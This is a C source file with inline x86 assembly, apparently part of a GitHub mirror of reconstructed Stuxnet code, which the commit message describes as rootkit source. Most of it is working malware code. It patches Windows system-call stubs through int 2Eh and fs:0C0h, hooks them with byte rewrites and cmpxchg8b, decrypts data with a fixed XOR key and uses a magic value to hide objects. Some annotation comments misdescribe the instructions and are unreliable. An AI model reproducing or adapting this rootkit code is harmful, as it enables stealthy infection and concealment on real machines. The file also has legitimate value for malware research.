mirror of
https://github.com/micrictor/stuxnet.git
synced 2026-01-08 22:18:11 -05:00
A lot of changes, some small some large. Most notably, add in the rootkit source, courtesy of @Christian-Roggia Closes https://github.com/micrictor/stuxnet/issues/1
586 lines
12 KiB
C
586 lines
12 KiB
C
/******************************************************************************************
|
|
Copyright 2012-2013 Christian Roggia
|
|
|
|
Licensed under the Apache License, Version 2.0 (the "License");
|
|
you may not use this file except in compliance with the License.
|
|
You may obtain a copy of the License at
|
|
|
|
http://www.apache.org/licenses/LICENSE-2.0
|
|
|
|
Unless required by applicable law or agreed to in writing, software
|
|
distributed under the License is distributed on an "AS IS" BASIS,
|
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
See the License for the specific language governing permissions and
|
|
limitations under the License.
|
|
******************************************************************************************/
|
|
// MODIFIED BY mic.ric.tor
|
|
|
|
#include "AssemblyBlock2.h"
|
|
|
|
/*************************************************************************
|
|
** ASSEMBLY BLOCK 2. **
|
|
*************************************************************************/
|
|
|
|
__declspec(naked) void __ASM_REF_3(void)
|
|
{
|
|
__asm
|
|
{
|
|
pop edx
|
|
test dl, dl
|
|
jz short __REF_0
|
|
dec dl
|
|
jz __REF_7
|
|
dec dl
|
|
jz __REF_11
|
|
dec dl
|
|
jz __REF_15
|
|
dec dl
|
|
jz __REF_21
|
|
jmp __REF_27
|
|
|
|
__REF_0:
|
|
call __ASM_REF_4
|
|
test edx, edx
|
|
jz short __REF_2
|
|
push edx
|
|
mov edx, [edx+8]
|
|
cmp edx, [esp+8]
|
|
jnz short __REF_1
|
|
mov dword ptr [esp+30h], 40h
|
|
|
|
__REF_1:
|
|
pop edx
|
|
|
|
__REF_2:
|
|
push edx
|
|
call __ASM_REF_5 // Get some kind of system version struct in edx
|
|
|
|
cmp dword ptr [edx+4], 0
|
|
jnz short __REF_3 // if system.isWOW64 { __REF_3 }
|
|
|
|
// 32-bit OS
|
|
pop edx
|
|
lea edx, [esp+8] // This is an argument
|
|
int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
|
|
; DS:SI -> counted CR-terminated command string
|
|
jmp short __REF_4
|
|
|
|
// 64-bit OS
|
|
__REF_3:
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
call dword ptr fs:0C0h ; call large dword ptr fs:0C0h
|
|
|
|
__REF_4:
|
|
test eax, eax
|
|
jnz short __REF_6
|
|
call __ASM_REF_4
|
|
test edx, edx
|
|
jz short __REF_5
|
|
mov edx, [edx+8]
|
|
cmp edx, [esp+8]
|
|
jnz short __REF_5
|
|
mov edx, [esp+16]
|
|
push edx
|
|
call __ASM_REF_4
|
|
mov edx, [edx+0Ch]
|
|
call edx
|
|
|
|
__REF_5:
|
|
xor eax, eax
|
|
|
|
__REF_6:
|
|
retn
|
|
|
|
__REF_7:
|
|
cmp dword ptr [esp+20h], 0AE1982AEh
|
|
jnz short __REF_8
|
|
call __ASM_REF_4
|
|
test edx, edx
|
|
jz short __REF_8
|
|
mov edx, [edx+8]
|
|
mov eax, [esp+8]
|
|
mov [eax], edx
|
|
xor eax, eax
|
|
retn
|
|
|
|
__REF_8:
|
|
push edx
|
|
call __ASM_REF_5
|
|
cmp dword ptr [edx+4], 0
|
|
jnz short __REF_9
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
|
|
; DS:SI -> counted CR-terminated command string
|
|
|
|
jmp short __REF_10
|
|
|
|
__REF_9:
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
call dword ptr fs:0C0h ; call large dword ptr fs:0C0h
|
|
|
|
__REF_10:
|
|
retn
|
|
|
|
__REF_11:
|
|
call __ASM_REF_4
|
|
test edx, edx
|
|
jz short __REF_12
|
|
push eax
|
|
push edi
|
|
mov edi, [esp+18h]
|
|
call __ASM_REF_6
|
|
mov edx, eax
|
|
pop edi
|
|
pop eax
|
|
test edx, edx
|
|
jz short __REF_12
|
|
mov eax, [esp+8]
|
|
mov dword ptr [eax], 0AE1982AEh
|
|
xor eax, eax
|
|
retn
|
|
|
|
__REF_12:
|
|
push edx
|
|
call __ASM_REF_5
|
|
cmp dword ptr [edx+4], 0
|
|
jnz short __REF_13
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
|
|
; DS:SI -> counted CR-terminated command string
|
|
jmp short __REF_14
|
|
|
|
__REF_13:
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
call dword ptr fs:0C0h ; call large dword ptr fs:0C0h
|
|
|
|
__REF_14:
|
|
retn
|
|
|
|
__REF_15:
|
|
cmp [esp+8], 0AE1982AEh
|
|
jnz short __REF_16 // if esp+8 == 0xAE1982AE return false
|
|
xor eax, eax
|
|
retn
|
|
|
|
__REF_16:
|
|
call __ASM_REF_4
|
|
test edx, edx
|
|
jz short __REF_18
|
|
push eax
|
|
mov eax, [esp+8]
|
|
cmp [edx+8], eax
|
|
jnz short __REF_17
|
|
mov dword ptr [edx+8], 0
|
|
|
|
__REF_17:
|
|
pop eax
|
|
|
|
__REF_18:
|
|
push edx
|
|
call __ASM_REF_5
|
|
cmp dword ptr [edx+4], 0
|
|
jnz short __REF_19
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
|
|
; DS:SI -> counted CR-terminated command string
|
|
jmp short __REF_20
|
|
|
|
__REF_19:
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
call dword ptr fs:0C0h ; call large dword ptr fs:0C0h
|
|
|
|
__REF_20:
|
|
retn
|
|
|
|
__REF_21:
|
|
call __ASM_REF_4
|
|
test edx, edx
|
|
jz short __REF_24
|
|
push eax
|
|
push edx
|
|
push edi
|
|
mov edi, [esp+14h]
|
|
call __ASM_REF_6
|
|
pop edi
|
|
pop edx
|
|
test eax, eax
|
|
jz short __REF_23
|
|
pop eax
|
|
test edx, edx
|
|
jz short __REF_22
|
|
mov edx, [esp+0Ch]
|
|
mov dword ptr [edx+20h], 80h
|
|
|
|
// return false
|
|
__REF_22:
|
|
xor eax, eax
|
|
retn
|
|
|
|
__REF_23:
|
|
pop eax
|
|
|
|
__REF_24:
|
|
push edx
|
|
call __ASM_REF_5
|
|
cmp dword ptr [edx+4], 0
|
|
jnz short __REF_25
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
|
|
; DS:SI -> counted CR-terminated command string
|
|
jmp short __REF_26
|
|
|
|
__REF_25:
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
call dword ptr fs:0C0h ; call large dword ptr fs:0C0h
|
|
|
|
__REF_26:
|
|
retn
|
|
|
|
__REF_27:
|
|
call __ASM_REF_4
|
|
test edx, edx
|
|
push edx
|
|
jz short __REF_30
|
|
mov edx, [edx+8]
|
|
cmp edx, [esp+8]
|
|
jnz short __REF_30
|
|
cmp dword ptr [esp+10h], 1
|
|
jnz short __REF_30
|
|
cmp dword ptr [esp+18h], 30h
|
|
jl short __REF_29
|
|
pop edx
|
|
push ecx
|
|
push esi
|
|
push edi
|
|
lea esi, [edx+50h]
|
|
mov edi, [esp+1Ch]
|
|
mov ecx, 30h
|
|
rep movsb
|
|
pop edi
|
|
pop esi
|
|
pop ecx
|
|
mov eax, [esp+18h]
|
|
cmp eax, 0
|
|
jz short __REF_28
|
|
mov dword ptr [eax], 30h
|
|
|
|
// return false
|
|
__REF_28:
|
|
xor eax, eax
|
|
retn
|
|
|
|
// return STATUS_INVALID_PARAMETER
|
|
__REF_29:
|
|
pop edx
|
|
mov eax, 0C000000Dh
|
|
retn
|
|
|
|
__REF_30:
|
|
pop edx
|
|
push edx
|
|
call __ASM_REF_5
|
|
cmp dword ptr [edx+4], 0
|
|
jnz short __REF_31
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
int 2Eh ; DOS 2+ internal - EXECUTE COMMAND
|
|
; DS:SI -> counted CR-terminated command string
|
|
jmp short __REF_32
|
|
|
|
__REF_31:
|
|
pop edx
|
|
lea edx, [esp+8]
|
|
call dword ptr fs:0C0h ; call large dword ptr fs:0C0h
|
|
|
|
__REF_32:
|
|
retn
|
|
}
|
|
}
|
|
|
|
/* __ASM_REF_4
|
|
* @encryptedArray - Array to be decrypted
|
|
*
|
|
* Decrypts a supplied DWORD array w/ key 0xAE1979DD
|
|
* Returns in edx( edx being the same type as returned by __ASM_REF_5 )
|
|
*/
|
|
__declspec(naked) void __ASM_REF_4(void)
|
|
{
|
|
__asm
|
|
{
|
|
push eax
|
|
push esi
|
|
push edi
|
|
|
|
// These 3 get effectively undone
|
|
push ecx
|
|
push edx
|
|
sub esp, 1Ch
|
|
|
|
// Push the stack and the local stack size
|
|
mov eax, esp
|
|
push 1Ch
|
|
push eax
|
|
|
|
push esp
|
|
call __ASM_REF_5 // edx = some struct
|
|
call dword ptr [edx+0Ch] // I assume this doesn't mess w/ the stack
|
|
|
|
/* edi = esp before the stack alloc, directly after preservation pushes
|
|
* esp = edi
|
|
*/
|
|
mov edi, [esp] // edi = esp before the calls
|
|
add edi, [esp+0Ch] // *edi = edx
|
|
add esp, 1Ch
|
|
|
|
// restore edx, ecx
|
|
pop edx
|
|
pop ecx
|
|
|
|
// String operations incoming
|
|
mov esi, esp
|
|
|
|
__REF_0:
|
|
/* if( edi > esi )
|
|
* return false;
|
|
*/
|
|
cmp esi, edi
|
|
jnb short __REF_1
|
|
|
|
// eax = [esi]
|
|
lodsd
|
|
xor eax, 0AE1979DDh
|
|
lea eax, [eax+4]
|
|
|
|
// if eax = esi, erase last byte and return
|
|
cmp eax, esi
|
|
jnz short __REF_0
|
|
lea eax, [esi-4]
|
|
jmp short __REF_2
|
|
|
|
__REF_1:
|
|
xor eax, eax
|
|
|
|
__REF_2:
|
|
mov edx, eax
|
|
pop edi
|
|
pop esi
|
|
pop eax
|
|
retn
|
|
}
|
|
}
|
|
|
|
/* __ASM_REF_5
|
|
*
|
|
* edx = DWORD( __ASM_REF_5 ) + 0x124
|
|
* Returns a struct of type _SYSTEM_INFO
|
|
*/
|
|
__declspec(naked) void __ASM_REF_5(void)
|
|
{
|
|
__asm
|
|
{
|
|
call $+5
|
|
pop edx
|
|
add edx, 124h
|
|
retn
|
|
}
|
|
}
|
|
|
|
/* __ASM_REF_6
|
|
*
|
|
* Returns bool
|
|
*/
|
|
__declspec(naked) void __ASM_REF_6(void)
|
|
{
|
|
__asm
|
|
{
|
|
push ebx
|
|
push ecx
|
|
push edx
|
|
push edi
|
|
cmp edi, 0
|
|
jz short __REF_1 // Return false
|
|
mov edi, [edi+8]
|
|
cmp edi, 0
|
|
jz short __REF_1 // Return false
|
|
movzx ebx, word ptr [edi]
|
|
mov edi, [edi+4]
|
|
lea ebx, [edi+ebx+2]
|
|
|
|
__REF_0:
|
|
lea ebx, [ebx-2]
|
|
cmp ebx, edi
|
|
jle short __REF_1
|
|
cmp word ptr [ebx-2], 5Ch
|
|
jnz short __REF_0
|
|
push edx
|
|
push ebx
|
|
lea ebx, [edx+10h]
|
|
push ebx
|
|
call __ASM_REF_5
|
|
call dword ptr [edx+8]
|
|
pop edx
|
|
test eax, eax
|
|
jnz short __REF_1 // If EAX == true { return false; }
|
|
inc eax
|
|
jmp short __REF_2 // else { return true; }
|
|
|
|
__REF_1:
|
|
xor eax, eax
|
|
|
|
__REF_2:
|
|
pop edi
|
|
pop edx
|
|
pop ecx
|
|
pop ebx
|
|
retn
|
|
}
|
|
}
|
|
|
|
/* __ASM_REF_7
|
|
* ecx - seems to be some kind of flag
|
|
*/
|
|
__declspec(naked) void __ASM_REF_7(void)
|
|
{
|
|
__asm
|
|
{
|
|
push eax
|
|
push ecx
|
|
|
|
|
|
push edx
|
|
call __ASM_REF_5 // edx = DWORD (__ASM_REF_5) + 0x124
|
|
|
|
// struct.isWOW64 == false( default )
|
|
mov dword ptr [edx+4], 0
|
|
push dword ptr [edx] // push a pointer to decryptedData
|
|
|
|
/* I'd need to see the binaries to see which function this is calling.
|
|
*
|
|
* We can assume from the rest of the function that it returns in eax,
|
|
* and that the return should be nonzero.
|
|
*/
|
|
call dword ptr [edx+14h]
|
|
|
|
pop ecx
|
|
test eax, eax
|
|
jz exitFunc
|
|
|
|
/* This seems like it's likely its own (inlined?) function.
|
|
* - massive amount of preservation
|
|
* - makes a call to reassign edx to what it already is
|
|
* EAX is triple preserved. Why?
|
|
*/
|
|
push eax
|
|
push ecx
|
|
push eax
|
|
push esp
|
|
push 80h // 128
|
|
push 18h // 24
|
|
push eax
|
|
call __ASM_REF_5
|
|
|
|
/* Returns in EAX, expected to be non-zero.
|
|
* If the return is zero, exit the function
|
|
*/
|
|
call dword ptr [edx+10h]
|
|
|
|
pop edx
|
|
mov edx, eax
|
|
pop ecx // 0x18; 24
|
|
pop eax // 0x80, 128
|
|
test edx, edx
|
|
jz exitFunc // If ret = 0, exit
|
|
|
|
cmp byte ptr [eax], 0B8h
|
|
jnz exitFunc
|
|
cmp byte ptr [eax+5], 0BAh
|
|
jz short __REF_1
|
|
cmp dword ptr [eax+5], 424548Dh
|
|
jnz short __REF_0
|
|
cmp dword ptr [eax+8], 0C22ECD04h
|
|
jnz short exitFunc
|
|
sub ecx, eax
|
|
sub ecx, 0Ah
|
|
mov [eax+6], ecx
|
|
mov byte ptr [eax+5], 0E8h
|
|
mov byte ptr [eax+0Ah], 90h
|
|
jmp short exitFunc
|
|
|
|
__REF_0:
|
|
|
|
/* if eax + 7 = 0x0424548DC015FF64C2000000
|
|
* struct.isWOW64 == true
|
|
*/
|
|
cmp dword ptr [eax+7], 424548Dh
|
|
jnz short exitFunc
|
|
cmp dword ptr [eax+0Bh], 0C015FF64h
|
|
jnz short exitFunc
|
|
cmp dword ptr [eax+0Fh], 0C2000000h
|
|
jnz short exitFunc
|
|
push edx
|
|
call __ASM_REF_5 // __ASM_REF_5 + 0x124
|
|
mov dword ptr [edx+4], 1
|
|
pop edx
|
|
|
|
// Prologue
|
|
push esi
|
|
push eax
|
|
push ebx
|
|
push ecx
|
|
push edx
|
|
|
|
mov esi, eax
|
|
mov eax, [esi+0Ah]
|
|
mov edx, [esi+0Eh]
|
|
sub ecx, esi
|
|
sub ecx, 12h
|
|
mov ebx, 0E8909004h
|
|
lock cmpxchg8b qword ptr [esi+0Ah]
|
|
|
|
// Epilogue
|
|
pop edx
|
|
pop ecx
|
|
pop ebx
|
|
pop eax
|
|
pop esi
|
|
jmp short exitFunc
|
|
|
|
/*
|
|
* if( *(eax + 0xA) == 0xD2FF )
|
|
* *(eax + 6) = ecx;
|
|
* else {
|
|
* if( *(eax + 0xA) == 0x12FF ) {
|
|
* *(eax + 0xB) = 0xD2;
|
|
* *(eax + 6) = ecx;
|
|
* }
|
|
* }
|
|
*/
|
|
__REF_1:
|
|
cmp word ptr [eax+0Ah], 0D2FFh
|
|
jz short __REF_2
|
|
cmp word ptr [eax+0Ah], 12FFh
|
|
jnz short exitFunc
|
|
mov byte ptr [eax+0Bh], 0D2h
|
|
|
|
__REF_2:
|
|
mov [eax+6], ecx
|
|
|
|
/* Restore EAX and retn */
|
|
exitFunc:
|
|
pop eax
|
|
retn
|
|
}
|
|
}
|
|
|
|
#pragma code_seg(".text")
|
|
__declspec(allocate(".text")) HARDCODED_ADDRESSES g_hardAddrs = {0};
|